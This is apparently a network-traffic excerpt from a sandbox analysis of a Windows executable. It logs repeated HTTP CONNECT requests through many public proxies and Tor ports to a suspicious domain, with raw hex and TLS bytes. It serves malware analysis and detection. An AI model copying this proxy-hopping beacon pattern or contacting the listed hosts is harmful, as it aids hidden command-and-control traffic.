Mar 11, 2024 15:21:08.310545921 CET	1286	IN	Data Raw: 6d dd 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 1f 8b 40 68 93 64 2a 2d dc 07 bd 7a 5f 46 c4 ea f2 c8 d7 63 e0 4e cc 42 c7 44 46 d1 17 84 d3 1f 08 47 69 c2 b6 7f dd 9d a0 2d 9e 1b be 1f f8 19 ab ad d9 8d 7d 14 62 f3 40 cf 76 94 Data Ascii: m0H@hd-z_FcNBDFGi-}b@vwTJ;dm55inz74\|"@,+v?iS't;H%['rBuq,/aeYXhV
Mar 11, 2024 15:21:08.310606003 CET	914	IN	Data Raw: 59 02 10 51 5c e3 c0 2b fd b7 06 48 51 7e 09 5e 3f 0f dc a7 fe 97 e7 79 c5 0e 44 89 78 c5 69 59 29 a0 9a 3a 48 36 29 a6 94 93 55 2d b8 47 b5 e9 96 b5 9f 07 cd a6 ab 3e 32 8a c0 86 83 c5 c1 41 c8 9f 2f 35 8e 0d c0 07 7a e1 ac c9 65 b5 cb 8a a7 dd Data Ascii: YQ\+HQ~^?yDxiY):H6)U-G>2A/5zeqae92>z6VWAmZ:ucitoL7(n c~+u<.rO6D#?Z]v](VfQQ{=0z$-KO?'>#ZB-z6=`9cxN!>\
Mar 11, 2024 15:21:08.432410955 CET	1204	IN	Data Raw: 40 c0 0b 5c bd f6 87 b3 35 6c ac 18 50 7f 84 e0 4c cd 92 d3 20 e9 33 bc 52 99 af 32 b5 29 b3 25 2a b4 48 f9 72 e1 ca 64 f7 e6 82 10 8d e8 9d c2 8a 88 fa 38 66 8a fc 63 f9 01 f9 78 fd 7b 5c 77 fa 76 87 fa ec df b1 0e 79 95 57 b4 bd 26 ef d6 01 d1 Data Ascii: @\5lPL 3R2)%Hrd8fcx{\wvyW&UK)2%NeDI\|@{Cl}LKEv@+S;1wo{>"2cQr])h3:f&Wex'^I!lH<@
Mar 11, 2024 15:21:08.453713894 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 8d 40 cb e2 c9 c4 3e f6 58 87 37 8a b5 ed 78 35 5c 77 4a d5 81 e4 cd 3a 5b 6b bc 0c d1 ad e7 13 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 cc 81 6d 6b 18 5b 50 1b 65 6a 84 c2 38 4c de 34 04 f1 f9 0b 28 Data Ascii: %! @>X7x5\wJ:[k(mk[Pej8L4(]q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1074	192.168.2.9	53329	69.61.200.104	36181	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.974860907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1075	192.168.2.9	51724	80.92.227.185	5678	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.999016047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1076	192.168.2.9	53495	58.246.58.150	9002	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.014518023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.388798952 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 14:21:07 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1077	192.168.2.9	53538	79.110.196.145	8081	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.014578104 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1078	192.168.2.9	53520	103.127.52.132	5678	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.015496969 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1079	192.168.2.9	53421	38.54.116.9	8118	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.015662909 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:07.934632063 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:09.325606108 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:11.825525999 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:16.825459003 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:21.825349092 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:26.825335979 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:36.825067997 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:56.824995041 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1080	192.168.2.9	53422	38.54.116.9	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.015842915 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:07.825409889 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:09.138325930 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:11.637979031 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:16.637948036 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:21.637882948 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:26.638135910 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:36.325107098 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:55.843089104 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1081	192.168.2.9	52879	51.89.173.40	11058	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.016043901 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.042737007 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.200539112 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:19.200525999 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:31.200234890 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1082	192.168.2.9	53511	8.142.3.145	3306	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.018779039 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1083	192.168.2.9	51667	51.15.247.93	16379	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.019164085 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.042701960 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.200556993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.307638884 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1084	192.168.2.9	51682	103.179.182.159	8888	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.031721115 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.914632082 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1085	192.168.2.9	53496	15.207.35.241	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.042269945 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.444098949 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:07 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1086	192.168.2.9	53040	51.83.184.241	9191	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.055814981 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.168942928 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.200656891 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.819850922 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1087	192.168.2.9	53517	111.26.177.28	9091	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.056845903 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.439177036 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.1 Date: Mon, 11 Mar 2024 14:21:07 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1088	192.168.2.9	51847	51.222.241.157	5717	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.069274902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1089	192.168.2.9	53510	20.204.214.23	3129	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.075730085 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.485814095 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1090	192.168.2.9	53553	18.135.133.116	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.088280916 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.378710985 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:07 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 15:21:07.396886110 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 ef 13 52 91 a2 40 4a 3d 5a 2b 2e f5 78 e3 fc f2 6b 9f cd 8a eb b9 40 e8 56 db dc b4 82 51 e7 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: eR@J=Z+.xk@VQ*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
